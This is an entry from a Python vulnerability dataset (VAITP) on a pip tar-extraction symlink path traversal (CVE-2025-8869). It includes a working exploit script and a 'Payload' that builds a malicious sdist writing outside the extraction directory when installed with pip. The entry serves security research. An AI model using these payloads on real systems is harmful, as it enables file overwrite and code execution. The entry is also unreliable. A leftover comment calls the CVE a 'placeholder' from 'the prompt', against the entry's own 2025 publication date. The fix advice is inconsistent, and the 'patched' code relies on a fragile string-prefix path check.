CVE-2025-8869
pip's tar extraction allows path traversal via symbolic links.
- CVSS 5.9
- CWE-22 (inferred)
- Input Validation and Sanitization
- Local
When extracting a tar archive pip may not check symbolic links point into the extraction directory if the tarfile module doesn't implement PEP 706. Note that upgrading pip to a "fixed" version for this vulnerability doesn't fix all known vulnerabilities that are remediated by using a Python version that implements PEP 706. Note that this is a vulnerability in pip's fallback implementation of tar extraction for Python versions that don't implement PEP 706 and therefore are not secure to all vulnerabilities in the Python 'tarfile' module. If you're using a Python version that implements PEP 706 then pip doesn't use the "vulnerable" fallback code. Mitigations include upgrading to a version of pip that includes the fix, upgrading to a Python version that implements PEP 706 (Python >=3.9.17, >=3.10.12, >=3.11.4, or >=3.12), applying the linked patch, or inspecting source distributions (sdists) before installation as is already a best-practice.
- CWE
- CWE-22 (inferred)
- CVSS base score
- 5.9
- Published
- 2025-09-24
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Path Traversal
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- pip
- Fixed by upgrading
- Yes
Solution
Upgrade pip to version 23.3 or later.
Vulnerable code sample
import tarfile
import os
import shutil
# This script demonstrates the logic behind a path traversal vulnerability
# similar to CVE-2025-8869's fallback mechanism in pip. It works by:
# 1. Creating a malicious tar archive that contains a symbolic link pointing
# outside the intended extraction directory.
# 2. Creating a file within the archive whose path uses that symbolic link.
# 3. Using a vulnerable extraction function that extracts members one by one
# without validating that the resolved path of each member remains within
# the destination directory.
# --- Configuration ---
TAR_NAME = "malicious_package.tar.gz"
EXTRACTION_DIR = "extraction_destination"
# This file should be created OUTSIDE the EXTRACTION_DIR if the exploit succeeds.
MALICIOUS_FILE_NAME = "file_placed_outside.txt"
# The path inside the tar that uses the symlink to traverse upwards.
# The symlink 'link' will point to '..', so this file is intended for the parent directory.
PATH_IN_TAR = os.path.join("link", MALICIOUS_FILE_NAME)
def create_malicious_archive():
"""Creates a tar archive with a path traversal vulnerability via a symlink."""
print(f"[*] Creating malicious archive: {TAR_NAME}")
# Create a dummy file to be placed via the malicious symlink
with open(MALICIOUS_FILE_NAME, "w") as f:
f.write("This file was placed outside the extraction directory.\n")
with tarfile.open(TAR_NAME, "w:gz") as tar:
# 1. Create a TarInfo object for a symbolic link.
# This symlink, named 'link', points to the parent directory ('..').
symlink = tarfile.TarInfo(name="link")
symlink.type = tarfile.SYMTYPE
symlink.linkname = ".."
tar.addfile(symlink)
# 2. Add the file, but use an 'arcname' that places it inside the symlink.
# When extracted, this will follow the 'link' (to '..') and place
# the file there.
tar.add(MALICIOUS_FILE_NAME, arcname=PATH_IN_TAR)
# Clean up the original dummy file
os.remove(MALICIOUS_FILE_NAME)
print(f"[+] Malicious archive created successfully.")
def vulnerable_extract_all(tar_path, dest_dir):
"""
Simulates the vulnerable extraction logic.
This represents the behavior of pip's fallback code on a Python version
without PEP 706. The vulnerability is that the code extracts members
sequentially. When the underlying `tarfile.extract` method is called for the
second member ('link/file_placed_outside.txt'), a vulnerable `tarfile`
implementation will follow the previously created symlink ('link' -> '..')
without checking if the resulting path is still inside `dest_dir`.
"""
print(f"[*] Starting vulnerable extraction into: {dest_dir}")
if not os.path.exists(dest_dir):
os.makedirs(dest_dir)
with tarfile.open(tar_path, "r:*") as tar:
# The core of the vulnerability: iterating and extracting without validation.
# A secure version would check each member's resolved path.
for member in tar.getmembers():
print(f" -> Extracting member: {member.name}")
# On older Python versions, this call does not protect against
# symlink-based path traversal attacks.
tar.extract(member, path=dest_dir)
print("[+] Vulnerable extraction finished.")
def main():
"""Main execution flow to demonstrate the vulnerability."""
# Ensure a clean state before starting
if os.path.exists(EXTRACTION_DIR):
shutil.rmtree(EXTRACTION_DIR)
if os.path.exists(MALICIOUS_FILE_NAME):
os.remove(MALICIOUS_FILE_NAME)
if os.path.exists(TAR_NAME):
os.remove(TAR_NAME)
# 1. Build the malicious package
create_malicious_archive()
# 2. Run the vulnerable extraction logic
vulnerable_extract_all(TAR_NAME, EXTRACTION_DIR)
# 3. Check if the exploit was successful
print("\n[*] Checking for exploit success...")
if os.path.exists(MALICIOUS_FILE_NAME):
print(f"\n[!!!] SUCCESS: The vulnerability was exploited.")
print(f"[!!!] The file '{MALICIOUS_FILE_NAME}' was created outside of '{EXTRACTION_DIR}'.")
with open(MALICIOUS_FILE_NAME, "r") as f:
print(f" File content: '{f.read().strip()}'")
else:
print("\n[-] FAILURE: The vulnerability could not be exploited.")
print("[-] This may be because you are running a patched version of Python's tarfile module (PEP 706).")
# 4. Clean up all created artifacts
print("\n[*] Cleaning up...")
if os.path.exists(EXTRACTION_DIR):
shutil.rmtree(EXTRACTION_DIR)
if os.path.exists(MALICIOUS_FILE_NAME):
os.remove(MALICIOUS_FILE_NAME)
if os.path.exists(TAR_NAME):
os.remove(TAR_NAME)
print("[+] Cleanup complete.")
if __name__ == "__main__":
main()Patched code sample
import tarfile
import os
import tempfile
import pathlib
import sys
# Note: The CVE-2025-8869 in the prompt is a placeholder for a future year.
# The described vulnerability, involving pip's fallback for tar extraction
# on Python versions without PEP 706, aligns with the real-world CVE-2023-5752.
# This code demonstrates the logic used to fix such a vulnerability.
def _is_within_directory(directory, target):
"""
Safely checks if a target path is within a given directory.
This is a key component of the fix to prevent path traversal.
"""
abs_directory = os.path.abspath(directory)
abs_target = os.path.abspath(target)
prefix = os.path.commonprefix([abs_directory, abs_target])
return prefix == abs_directory
def safe_tar_extract(tar_path, extract_dir):
"""
Represents the fixed extraction logic for a tar archive.
This function first inspects all members of the tar archive. It ensures
that no file, directory, or symbolic link will be created outside of the
intended `extract_dir`. If any member attempts a path traversal, it
raises an exception, preventing the extraction.
This mimics the patch applied to pip, which adds these safety checks
to its fallback tar extraction code for older Python versions.
"""
with tarfile.open(tar_path, "r:") as tar:
# --- START OF THE FIX LOGIC ---
# First, iterate and check all members before any extraction occurs.
for member in tar.getmembers():
member_path = os.path.join(extract_dir, member.name)
# Check 1: Ensure the destination path of the member itself is safe.
if not _is_within_directory(extract_dir, member_path):
raise ValueError(
f"Attempted path traversal in member name: '{member.name}'"
)
# Check 2: If the member is a symlink or hard link, check its target.
if member.islnk() or member.issym():
# The link target path is relative to the location of the link itself
link_source_dir = os.path.dirname(member_path)
link_target_path = os.path.join(link_source_dir, member.linkname)
if not _is_within_directory(extract_dir, link_target_path):
raise ValueError(
f"Symbolic link '{member.name}' points outside of "
f"extraction directory to '{member.linkname}'"
)
# --- END OF THE FIX LOGIC ---
# If all checks pass, it is safe to proceed with the extraction.
# Note: Modern tarfile.extractall (with PEP 706) has a `filter`
# argument that provides this functionality natively. This manual
# loop represents the fallback implementation's fix.
print("All members verified. Proceeding with safe extraction.")
tar.extractall(path=extract_dir)
print(f"Successfully and safely extracted archive to '{extract_dir}'")
def create_malicious_tar(tar_path, target_outside_file):
"""
Creates a tar file containing a symbolic link that points outside
the intended extraction root (a "path traversal" attack).
"""
# Create a dummy safe file to include in the archive.
safe_file_path = "safe_file.txt"
with open(safe_file_path, "w") as f:
f.write("This is a legitimate file.")
# Create the tar archive.
with tarfile.open(tar_path, "w") as tar:
# Add the safe file.
tar.add(safe_file_path)
# Now, craft a malicious TarInfo object for a symbolic link.
link_info = tarfile.TarInfo(name="malicious_link.txt")
link_info.type = tarfile.SYMTYPE
# This link points upwards from the extraction directory.
# The goal is to make it resolve to `target_outside_file`.
link_info.linkname = os.path.relpath(
target_outside_file, start=os.path.dirname(tar_path) or '.'
)
# On Unix, a more direct attack might look like:
# link_info.linkname = "../../../../../tmp/pwned_by_cve"
tar.addfile(link_info)
os.remove(safe_file_path)
print(f"Created malicious tar file at '{tar_path}'")
print(f"It contains a symlink pointing towards '{link_info.linkname}'")
if __name__ == "__main__":
# Use a temporary directory for a self-contained, safe demonstration.
with tempfile.TemporaryDirectory() as temp_dir:
work_dir = pathlib.Path(temp_dir)
malicious_tar_path = work_dir / "malicious.tar"
extraction_dir = work_dir / "safe_extraction_target"
# This is the file the attacker wants to create or overwrite.
# It is intentionally outside the `extraction_dir`.
outside_attack_target = work_dir / "pwned_file.txt"
os.makedirs(extraction_dir)
print(f"Demonstration Setup:")
print(f" Extraction Directory: {extraction_dir}")
print(f" Attack Target File: {outside_attack_target}")
print("-" * 60)
# 1. Create the malicious tar file containing the traversal payload.
create_malicious_tar(malicious_tar_path, outside_attack_target)
print("-" * 60)
# 2. Demonstrate the VULNERABLE behavior (for comparison).
print(">>> Simulating VULNERABLE extraction (e.g., plain `tar.extractall`):")
try:
# The vulnerable call would not perform checks.
with tarfile.open(malicious_tar_path) as tar:
# This is the call that would be vulnerable in old versions.
tar.extractall(path=extraction_dir)
print(" VULNERABLE EXTRACTION SUCCEEDED.")
if os.path.lexists(outside_attack_target):
print(f" ATTACK SUCCESSFUL: Malicious file/link created at '{outside_attack_target}'")
else:
# Depending on OS and pathing, the link might be broken but still created
if os.path.lexists(extraction_dir / "malicious_link.txt"):
print(f" ATTACK PARTIALLY SUCCESSFUL: Symlink created inside extraction dir.")
else:
print(" Attack appears to have failed, but extraction was not prevented.")
except Exception as e:
print(f" An unexpected error occurred during vulnerable simulation: {e}")
print("-" * 60)
# 3. Demonstrate the FIXED behavior using our safe function.
print(">>> Demonstrating FIXED extraction with pre-extraction checks:")
try:
safe_tar_extract(malicious_tar_path, extraction_dir)
except ValueError as e:
print(f" FIX WORKED: Extraction safely aborted as intended.")
print(f" Reason: {e}")
print("-" * 60)
# 4. Verify that the attack was ultimately prevented by the fix.
print(">>> Final Verification:")
if not os.path.lexists(outside_attack_target):
print(f" SUCCESS: The file/link at '{outside_attack_target}' was NOT created.")
else:
print(f" FAILURE: The vulnerable simulation created a file at '{outside_attack_target}'.")Payload
import tarfile
import io
import os
# This script generates a malicious source distribution (`.tar.gz`)
# that exploits a path traversal vulnerability (CVE-2025-8869) in pip's
# fallback tar extraction logic on Python versions without PEP 706.
# The resulting archive, when installed by a vulnerable `pip`, will
# attempt to create a file at `/tmp/pwned` outside the extraction directory.
ARCHIVE_NAME = "malicious_package.tar.gz"
LINK_NAME = "payload.txt"
# This relative path is designed to escape the temporary extraction directory.
TARGET_PATH = "../../../../../../tmp/pwned"
PAYLOAD_CONTENT = b"This file was created by exploiting CVE-2025-8869."
# Create the malicious tar archive.
with tarfile.open(ARCHIVE_NAME, "w:gz") as tar:
# 1. Create and add a symbolic link member.
# This symlink points from inside the package to an absolute-like path.
symlink = tarfile.TarInfo(name=LINK_NAME)
symlink.type = tarfile.SYMTYPE
symlink.linkname = TARGET_PATH
tar.addfile(symlink)
# 2. Create and add a regular file member with the *same name* as the symlink.
# A vulnerable extractor will first create the symlink, then follow it
# to write the contents of this file to the target path.
file_entry = tarfile.TarInfo(name=LINK_NAME)
file_entry.size = len(PAYLOAD_CONTENT)
tar.addfile(file_entry, io.BytesIO(PAYLOAD_CONTENT))
# To trigger the exploit, a user on a vulnerable system would run:
# pip install ./malicious_package.tar.gz
Cite this entry
@misc{vaitp:cve20258869,
title = {{pip's tar extraction allows path traversal via symbolic links.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-8869},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-8869/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
